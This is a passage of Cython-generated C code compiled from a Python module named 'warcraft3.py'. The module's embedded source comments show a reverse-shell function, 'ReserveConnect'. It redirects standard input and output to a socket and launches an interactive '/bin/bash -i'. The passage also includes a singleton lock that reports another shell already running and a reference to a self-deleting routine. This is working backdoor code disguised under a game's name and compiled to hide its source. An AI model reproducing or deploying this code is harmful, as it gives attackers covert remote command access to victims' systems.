  2528. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2529. } else {
  2530. __pyx_t_8 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 44, __pyx_L11_error)
  2531. }
  2532. __Pyx_GOTREF(__pyx_t_8);
  2533. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2534. __pyx_t_4 = NULL;
  2535. __pyx_t_9 = 0;
  2536. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_10))) {
  2537. __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_10);
  2538. if (likely(__pyx_t_4)) {
  2539. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10);
  2540. __Pyx_INCREF(__pyx_t_4);
  2541. __Pyx_INCREF(function);
  2542. __Pyx_DECREF_SET(__pyx_t_10, function);
  2543. __pyx_t_9 = 1;
  2544. }
  2545. }
  2546. #if CYTHON_FAST_PYCALL
  2547. if (PyFunction_Check(__pyx_t_10)) {
  2548. PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_8, __pyx_int_2};
  2549. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_10, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 44, __pyx_L11_error)
  2550. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  2551. __Pyx_GOTREF(__pyx_t_7);
  2552. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2553. } else
  2554. #endif
  2555. #if CYTHON_FAST_PYCCALL
  2556. if (__Pyx_PyFastCFunction_Check(__pyx_t_10)) {
  2557. PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_8, __pyx_int_2};
  2558. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_10, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 44, __pyx_L11_error)
  2559. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  2560. __Pyx_GOTREF(__pyx_t_7);
  2561. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2562. } else
  2563. #endif
  2564. {
  2565. __pyx_t_6 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 44, __pyx_L11_error)
  2566. __Pyx_GOTREF(__pyx_t_6);
  2567. if (__pyx_t_4) {
  2568. __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL;
  2569. }
  2570. __Pyx_GIVEREF(__pyx_t_8);
  2571. PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_9, __pyx_t_8);
  2572. __Pyx_INCREF(__pyx_int_2);
  2573. __Pyx_GIVEREF(__pyx_int_2);
  2574. PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_9, __pyx_int_2);
  2575. __pyx_t_8 = 0;
  2576. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 44, __pyx_L11_error)
  2577. __Pyx_GOTREF(__pyx_t_7);
  2578. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2579. }
  2580. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2581. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2582. /* "warcraft3.py":45
  2583. * os.dup2(shell.fileno(),1)
  2584. * os.dup2(shell.fileno(),2)
  2585. * subprocess.call(["/bin/bash", "-i"]) # <<<<<<<<<<<<<<
  2586. * except Exception as reason:
  2587. * print ('[-] Failed to Create Shell : %s'%reason)
  2588. */
  2589. __pyx_t_10 = __Pyx_GetModuleGlobalName(__pyx_n_s_subprocess); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 45, __pyx_L11_error)
  2590. __Pyx_GOTREF(__pyx_t_10);
  2591. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_call); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 45, __pyx_L11_error)
  2592. __Pyx_GOTREF(__pyx_t_6);
  2593. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2594. __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 45, __pyx_L11_error)
  2595. __Pyx_GOTREF(__pyx_t_10);
  2596. __Pyx_INCREF(__pyx_kp_s_bin_bash);
  2597. __Pyx_GIVEREF(__pyx_kp_s_bin_bash);
  2598. PyList_SET_ITEM(__pyx_t_10, 0, __pyx_kp_s_bin_bash);
  2599. __Pyx_INCREF(__pyx_kp_s_i);
  2600. __Pyx_GIVEREF(__pyx_kp_s_i);
  2601. PyList_SET_ITEM(__pyx_t_10, 1, __pyx_kp_s_i);
  2602. __pyx_t_8 = NULL;
  2603. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {
  2604. __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6);
  2605. if (likely(__pyx_t_8)) {
  2606. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  2607. __Pyx_INCREF(__pyx_t_8);
  2608. __Pyx_INCREF(function);
  2609. __Pyx_DECREF_SET(__pyx_t_6, function);
  2610. }
  2611. }
  2612. if (!__pyx_t_8) {
  2613. __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 45, __pyx_L11_error)
  2614. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2615. __Pyx_GOTREF(__pyx_t_7);
  2616. } else {
  2617. #if CYTHON_FAST_PYCALL
  2618. if (PyFunction_Check(__pyx_t_6)) {
  2619. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  2620. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 45, __pyx_L11_error)
  2621. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2622. __Pyx_GOTREF(__pyx_t_7);
  2623. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2624. } else
  2625. #endif
  2626. #if CYTHON_FAST_PYCCALL
  2627. if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {
  2628. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  2629. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 45, __pyx_L11_error)
  2630. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2631. __Pyx_GOTREF(__pyx_t_7);
  2632. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2633. } else
  2634. #endif
  2635. {
  2636. __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L11_error)
  2637. __Pyx_GOTREF(__pyx_t_4);
  2638. __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_8); __pyx_t_8 = NULL;
  2639. __Pyx_GIVEREF(__pyx_t_10);
  2640. PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_10);
  2641. __pyx_t_10 = 0;
  2642. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 45, __pyx_L11_error)
  2643. __Pyx_GOTREF(__pyx_t_7);
  2644. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2645. }
  2646. }
  2647. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2648. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2649. /* "warcraft3.py":41
  2650. * print ('[-] Failed to Create Socket : %s'%reason)
  2651. * exit(0)
  2652. * try: # <<<<<<<<<<<<<<
  2653. * os.dup2(shell.fileno(),0)
  2654. * os.dup2(shell.fileno(),1)
  2655. */
  2656. }
  2657. __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0;
  2658. __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
  2659. __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  2660. goto __pyx_L16_try_end;
  2661. __pyx_L11_error:;
  2662. __Pyx_PyThreadState_assign
  2663. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  2664. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2665. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  2666. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  2667. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  2668. __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0;
  2669. /* "warcraft3.py":46
  2670. * os.dup2(shell.fileno(),2)
  2671. * subprocess.call(["/bin/bash", "-i"])
  2672. * except Exception as reason: # <<<<<<<<<<<<<<
  2673. * print ('[-] Failed to Create Shell : %s'%reason)
  2674. * exit(0)
  2675. */
  2676. __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0])));
  2677. if (__pyx_t_9) {
  2678. __Pyx_AddTraceback("warcraft3.ReserveConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  2679. if (__Pyx_GetException(&__pyx_t_7, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 46, __pyx_L13_except_error)
  2680. __Pyx_GOTREF(__pyx_t_7);
  2681. __Pyx_GOTREF(__pyx_t_6);
  2682. __Pyx_GOTREF(__pyx_t_4);
  2683. __Pyx_INCREF(__pyx_t_6);
  2684. __Pyx_XDECREF_SET(__pyx_v_reason, __pyx_t_6);
  2685. /* "warcraft3.py":47
  2686. * subprocess.call(["/bin/bash", "-i"])
  2687. * except Exception as reason:
  2688. * print ('[-] Failed to Create Shell : %s'%reason) # <<<<<<<<<<<<<<
  2689. * exit(0)
  2690. *
  2691. */
  2692. __pyx_t_10 = __Pyx_PyString_Format(__pyx_kp_s_Failed_to_Create_Shell_s, __pyx_v_reason); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 47, __pyx_L13_except_error)
  2693. __Pyx_GOTREF(__pyx_t_10);
  2694. if (__Pyx_PrintOne(0, __pyx_t_10) < 0) __PYX_ERR(0, 47, __pyx_L13_except_error)
  2695. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2696. /* "warcraft3.py":48
  2697. * except Exception as reason:
  2698. * print ('[-] Failed to Create Shell : %s'%reason)
  2699. * exit(0) # <<<<<<<<<<<<<<
  2700. *
  2701. * #
  2702. */
  2703. __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 48, __pyx_L13_except_error)
  2704. __Pyx_GOTREF(__pyx_t_10);
  2705. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2706. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2707. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2708. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2709. goto __pyx_L12_exception_handled;
  2710. }
  2711. goto __pyx_L13_except_error;
  2712. __pyx_L13_except_error:;
  2713. /* "warcraft3.py":41
  2714. * print ('[-] Failed to Create Socket : %s'%reason)
  2715. * exit(0)
  2716. * try: # <<<<<<<<<<<<<<
  2717. * os.dup2(shell.fileno(),0)
  2718. * os.dup2(shell.fileno(),1)
  2719. */
  2720. __Pyx_PyThreadState_assign
  2721. __Pyx_XGIVEREF(__pyx_t_3);
  2722. __Pyx_XGIVEREF(__pyx_t_2);
  2723. __Pyx_XGIVEREF(__pyx_t_1);
  2724. __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_2, __pyx_t_1);
  2725. goto __pyx_L1_error;
  2726. __pyx_L12_exception_handled:;
  2727. __Pyx_PyThreadState_assign
  2728. __Pyx_XGIVEREF(__pyx_t_3);
  2729. __Pyx_XGIVEREF(__pyx_t_2);
  2730. __Pyx_XGIVEREF(__pyx_t_1);
  2731. __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_2, __pyx_t_1);
  2732. __pyx_L16_try_end:;
  2733. }
  2734. /* "warcraft3.py":33
  2735. * exit(0)
  2736. *
  2737. * def ReserveConnect(addr, port): # <<<<<<<<<<<<<<
  2738. * '''shell'''
  2739. * try:
  2740. */
  2741. /* function exit code */
  2742. __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  2743. goto __pyx_L0;
  2744. __pyx_L1_error:;
  2745. __Pyx_XDECREF(__pyx_t_4);
  2746. __Pyx_XDECREF(__pyx_t_5);
  2747. __Pyx_XDECREF(__pyx_t_6);
  2748. __Pyx_XDECREF(__pyx_t_7);
  2749. __Pyx_XDECREF(__pyx_t_8);
  2750. __Pyx_XDECREF(__pyx_t_10);
  2751. __Pyx_AddTraceback("warcraft3.ReserveConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  2752. __pyx_r = NULL;
  2753. __pyx_L0:;
  2754. __Pyx_XDECREF(__pyx_v_shell);
  2755. __Pyx_XDECREF(__pyx_v_reason);
  2756. __Pyx_XGIVEREF(__pyx_r);
  2757. __Pyx_RefNannyFinishContext();
  2758. return __pyx_r;
  2759. }
  2760. /* "warcraft3.py":51
  2761. *
  2762. * #
  2763. * def SingletonRunning(): # <<<<<<<<<<<<<<
  2764. * ''''''
  2765. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  2766. */
  2767. /* Python wrapper */
  2768. static PyObject *__pyx_pw_9warcraft3_5SingletonRunning(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
  2769. static char __pyx_doc_9warcraft3_4SingletonRunning[] = "\345\215\225\344\276\213\346\250\241\345\274\217\350\277\220\350\241\214";
  2770. static PyMethodDef __pyx_mdef_9warcraft3_5SingletonRunning = {"SingletonRunning", (PyCFunction)__pyx_pw_9warcraft3_5SingletonRunning, METH_NOARGS, __pyx_doc_9warcraft3_4SingletonRunning};
  2771. static PyObject *__pyx_pw_9warcraft3_5SingletonRunning(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  2772. PyObject *__pyx_r = 0;
  2773. __Pyx_RefNannyDeclarations
  2774. __Pyx_RefNannySetupContext("SingletonRunning (wrapper)", 0);
  2775. __pyx_r = __pyx_pf_9warcraft3_4SingletonRunning(__pyx_self);
  2776. /* function exit code */
  2777. __Pyx_RefNannyFinishContext();
  2778. return __pyx_r;
  2779. }
  2780. static PyObject *__pyx_pf_9warcraft3_4SingletonRunning(CYTHON_UNUSED PyObject *__pyx_self) {
  2781. PyObject *__pyx_v_pidfile = NULL;
  2782. CYTHON_UNUSED PyObject *__pyx_v_reason = NULL;
  2783. PyObject *__pyx_r = NULL;
  2784. __Pyx_RefNannyDeclarations
  2785. PyObject *__pyx_t_1 = NULL;
  2786. PyObject *__pyx_t_2 = NULL;
  2787. PyObject *__pyx_t_3 = NULL;
  2788. PyObject *__pyx_t_4 = NULL;
  2789. PyObject *__pyx_t_5 = NULL;
  2790. PyObject *__pyx_t_6 = NULL;
  2791. PyObject *__pyx_t_7 = NULL;
  2792. PyObject *__pyx_t_8 = NULL;
  2793. int __pyx_t_9;
  2794. __Pyx_RefNannySetupContext("SingletonRunning", 0);
  2795. /* "warcraft3.py":53
  2796. * def SingletonRunning():
  2797. * ''''''
  2798. * pidfile = open(os.path.realpath("warcraft3"), 'r') # <<<<<<<<<<<<<<
  2799. * try:
  2800. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  2801. */
  2802. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error)
  2803. __Pyx_GOTREF(__pyx_t_1);
  2804. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_path); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error)
  2805. __Pyx_GOTREF(__pyx_t_2);
  2806. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2807. __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_realpath); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error)
  2808. __Pyx_GOTREF(__pyx_t_1);
  2809. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  2810. __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error)
  2811. __Pyx_GOTREF(__pyx_t_2);
  2812. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2813. __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error)
  2814. __Pyx_GOTREF(__pyx_t_1);
  2815. __Pyx_GIVEREF(__pyx_t_2);
  2816. PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2);
  2817. __Pyx_INCREF(__pyx_n_s_r);
  2818. __Pyx_GIVEREF(__pyx_n_s_r);
  2819. PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_r);
  2820. __pyx_t_2 = 0;
  2821. __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_open, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error)
  2822. __Pyx_GOTREF(__pyx_t_2);
  2823. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2824. __pyx_v_pidfile = __pyx_t_2;
  2825. __pyx_t_2 = 0;
  2826. /* "warcraft3.py":54
  2827. * ''''''
  2828. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  2829. * try: # <<<<<<<<<<<<<<
  2830. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  2831. * except Exception as reason:
  2832. */
  2833. {
  2834. __Pyx_PyThreadState_declare
  2835. __Pyx_PyThreadState_assign
  2836. __Pyx_ExceptionSave(&__pyx_t_3, &__pyx_t_4, &__pyx_t_5);
  2837. __Pyx_XGOTREF(__pyx_t_3);
  2838. __Pyx_XGOTREF(__pyx_t_4);
  2839. __Pyx_XGOTREF(__pyx_t_5);
  2840. /*try:*/ {
  2841. /* "warcraft3.py":55
  2842. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  2843. * try:
  2844. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB) # <<<<<<<<<<<<<<
  2845. * except Exception as reason:
  2846. * print ("[-] There is another shell is running")
  2847. */
  2848. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_fcntl); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L3_error)
  2849. __Pyx_GOTREF(__pyx_t_1);
  2850. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_flock); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 55, __pyx_L3_error)
  2851. __Pyx_GOTREF(__pyx_t_6);
  2852. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2853. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_fcntl); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L3_error)
  2854. __Pyx_GOTREF(__pyx_t_1);
  2855. __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_LOCK_EX); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 55, __pyx_L3_error)
  2856. __Pyx_GOTREF(__pyx_t_7);
  2857. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2858. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_fcntl); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L3_error)
  2859. __Pyx_GOTREF(__pyx_t_1);
  2860. __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_LOCK_NB); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 55, __pyx_L3_error)
  2861. __Pyx_GOTREF(__pyx_t_8);
  2862. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2863. __pyx_t_1 = PyNumber_Or(__pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L3_error)
  2864. __Pyx_GOTREF(__pyx_t_1);
  2865. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2866. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2867. __pyx_t_8 = NULL;
  2868. __pyx_t_9 = 0;
  2869. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {
  2870. __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6);
  2871. if (likely(__pyx_t_8)) {
  2872. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  2873. __Pyx_INCREF(__pyx_t_8);
  2874. __Pyx_INCREF(function);
  2875. __Pyx_DECREF_SET(__pyx_t_6, function);
  2876. __pyx_t_9 = 1;
  2877. }
  2878. }
  2879. #if CYTHON_FAST_PYCALL
  2880. if (PyFunction_Check(__pyx_t_6)) {
  2881. PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_v_pidfile, __pyx_t_1};
  2882. __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L3_error)
  2883. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2884. __Pyx_GOTREF(__pyx_t_2);
  2885. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2886. } else
  2887. #endif
  2888. #if CYTHON_FAST_PYCCALL
  2889. if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {
  2890. PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_v_pidfile, __pyx_t_1};
  2891. __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L3_error)
  2892. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2893. __Pyx_GOTREF(__pyx_t_2);
  2894. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2895. } else
  2896. #endif
  2897. {
  2898. __pyx_t_7 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 55, __pyx_L3_error)
  2899. __Pyx_GOTREF(__pyx_t_7);
  2900. if (__pyx_t_8) {
  2901. __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL;
  2902. }
  2903. __Pyx_INCREF(__pyx_v_pidfile);
  2904. __Pyx_GIVEREF(__pyx_v_pidfile);
  2905. PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_9, __pyx_v_pidfile);
  2906. __Pyx_GIVEREF(__pyx_t_1);
  2907. PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_9, __pyx_t_1);
  2908. __pyx_t_1 = 0;
  2909. __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L3_error)
  2910. __Pyx_GOTREF(__pyx_t_2);
  2911. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2912. }
  2913. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2914. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  2915. /* "warcraft3.py":54
  2916. * ''''''
  2917. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  2918. * try: # <<<<<<<<<<<<<<
  2919. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  2920. * except Exception as reason:
  2921. */
  2922. }
  2923. __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0;
  2924. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  2925. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  2926. goto __pyx_L8_try_end;
  2927. __pyx_L3_error:;
  2928. __Pyx_PyThreadState_assign
  2929. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2930. __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  2931. __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0;
  2932. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  2933. __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
  2934. /* "warcraft3.py":56
  2935. * try:
  2936. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  2937. * except Exception as reason: # <<<<<<<<<<<<<<
  2938. * print ("[-] There is another shell is running")
  2939. * exit(0)
  2940. */
  2941. __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0])));
  2942. if (__pyx_t_9) {
  2943. __Pyx_AddTraceback("warcraft3.SingletonRunning", __pyx_clineno, __pyx_lineno, __pyx_filename);
  2944. if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_6, &__pyx_t_7) < 0) __PYX_ERR(0, 56, __pyx_L5_except_error)
  2945. __Pyx_GOTREF(__pyx_t_2);
  2946. __Pyx_GOTREF(__pyx_t_6);
  2947. __Pyx_GOTREF(__pyx_t_7);
  2948. __Pyx_INCREF(__pyx_t_6);
  2949. __pyx_v_reason = __pyx_t_6;
  2950. /* "warcraft3.py":57
  2951. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  2952. * except Exception as reason:
  2953. * print ("[-] There is another shell is running") # <<<<<<<<<<<<<<
  2954. * exit(0)
  2955. *
  2956. */
  2957. if (__Pyx_PrintOne(0, __pyx_kp_s_There_is_another_shell_is_runni) < 0) __PYX_ERR(0, 57, __pyx_L5_except_error)
  2958. /* "warcraft3.py":58
  2959. * except Exception as reason:
  2960. * print ("[-] There is another shell is running")
  2961. * exit(0) # <<<<<<<<<<<<<<
  2962. *
  2963. * def deleteSelf():
  2964. */
  2965. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L5_except_error)
  2966. __Pyx_GOTREF(__pyx_t_1);
  2967. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  2968. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  2969. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2970. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2971. goto __pyx_L4_exception_handled;
  2972. }
  2973. goto __pyx_L5_except_error;
  2974. __pyx_L5_except_error:;
  2975. /* "warcraft3.py":54
  2976. * ''''''
  2977. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  2978. * try: # <<<<<<<<<<<<<<
  2979. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  2980. * except Exception as reason:
  2981. */
  2982. __Pyx_PyThreadState_assign
  2983. __Pyx_XGIVEREF(__pyx_t_3);
  2984. __Pyx_XGIVEREF(__pyx_t_4);
  2985. __Pyx_XGIVEREF(__pyx_t_5);
  2986. __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_4, __pyx_t_5);
  2987. goto __pyx_L1_error;
  2988. __pyx_L4_exception_handled:;
  2989. __Pyx_PyThreadState_assign
  2990. __Pyx_XGIVEREF(__pyx_t_3);
  2991. __Pyx_XGIVEREF(__pyx_t_4);
  2992. __Pyx_XGIVEREF(__pyx_t_5);
  2993. __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_4, __pyx_t_5);
  2994. __pyx_L8_try_end:;
  2995. }
  2996. /* "warcraft3.py":51
  2997. *
  2998. * #
  2999. * def SingletonRunning(): # <<<<<<<<<<<<<<
  3000. * ''''''
  3001. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  3002. */
  3003. /* function exit code */
  3004. __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  3005. goto __pyx_L0;
  3006. __pyx_L1_error:;
  3007. __Pyx_XDECREF(__pyx_t_1);
  3008. __Pyx_XDECREF(__pyx_t_2);
  3009. __Pyx_XDECREF(__pyx_t_6);
  3010. __Pyx_XDECREF(__pyx_t_7);
  3011. __Pyx_XDECREF(__pyx_t_8);
  3012. __Pyx_AddTraceback("warcraft3.SingletonRunning", __pyx_clineno, __pyx_lineno, __pyx_filename);
  3013. __pyx_r = NULL;
  3014. __pyx_L0:;
  3015. __Pyx_XDECREF(__pyx_v_pidfile);
  3016. __Pyx_XDECREF(__pyx_v_reason);
  3017. __Pyx_XGIVEREF(__pyx_r);
  3018. __Pyx_RefNannyFinishContext();
